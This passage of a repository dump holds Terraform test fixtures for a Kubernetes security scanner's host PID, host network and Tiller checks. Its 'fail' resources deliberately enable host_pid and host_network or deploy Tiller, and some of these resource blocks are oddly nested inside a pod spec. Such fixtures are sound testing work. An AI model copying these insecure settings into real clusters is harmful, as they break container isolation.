\"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_ShareHostPIDPSP/psp.tf",
    "content": "\nresource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_pid                   = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_pid                   = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_SharedHostNetworkNamespace/main.tf",
    "content": "resource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_network = true\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_network = true\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_network = true\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_network = true\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_network = false\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_network = false\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_network = false\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_network = false\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_SharedHostNetworkNamespacePSP/main.tf",
    "content": "\nresource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_network = true\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n    host_network = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_Tiller/main.tf",
    "content": "\n#image is tiller\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"tiller-deploy\"\n  }\n\n  spec {\n    container {\n      image = \"tiller-image\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#image is tiller\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"tiller-deploy\"\n  }\n\n  spec {\n    container {\n      image = \"tiller-image\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#image is tiller\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        app = \"app\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          app = \"app\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"tiller-image\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#image is tiller\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        app = \"app\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          app = \"app\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"tiller-image\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#label is tiller\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    labels = {\n      name = \"tiller\"\n    }\n  }\n\n  spec {\n    container {\n      image = \"nuthin-dodgy\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#label is tiller\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    labels = {\n      name = \"tiller\"\n    }\n  }\n\n  spec {\n    container {\n      image = \"nuthin-dodgy\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    #app is helm\n    resource \"kubernetes_deployment\" \"fail3\" {\n      metadata {\n        name = \"terraform-example\"\n        labels = {\n          app = \"helm\"\n        }\n      }\n\n      spec {\n        replicas = 3\n\n        selector {\n          match_labels = {\n            app = \"nginx\"\n          }\n        }\n\n        template {\n          metadata {\n            labels = {\n              app = \"nginx\"\n            }\n          }\n\n          spec {\n            container {\n              image = \"nuthin-dodgy\"\n              name  = \"example22\"\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n            container {\n              image = \"nginx:1.7.9\"\n              name  = \"example22222\"\n\n              resources {\n                requests = {\n                  cpu    = \"250m\"\n                  memory = \"50Mi\"\n                }\n              }\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n\n            dns_config {\n              nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n              searches    = [\"example.com\"]\n\n              option {\n                name  = \"ndots\"\n                value = 1\n              }\n\n              option {\n                name = \"use-vc\"\n              }\n            }\n\n            dns_policy = \"None\"\n          }\n        }\n      }\n    }\n\n    #app is helm\n    resource \"kubernetes_deployment_v1\" \"fail3\" {\n      metadata {\n        name = \"terraform-example\"\n        labels = {\n          app = \"helm\"\n        }\n      }\n\n      spec {\n        replicas = 3\n\n        selector {\n          match_labels = {\n            app = \"nginx\"\n          }\n        }\n\n        template {\n          metadata {\n            labels = {\n              app = \"nginx\"\n            }\n          }\n\n          spec {\n            container {\n              image = \"nuthin-dodgy\"\n              name  = \"example22\"\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n            container {\n              image = \"nginx:1.7.9\"\n              name  = \"example22222\"\n\n              resources {\n                requests = {\n                  cpu    = \"250m\"\n                  memory = \"50Mi\"\n                }\n              }\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n\n            dns_config {\n              nameservers = [\"1.1.1.1\", \"8.8.8.8\", 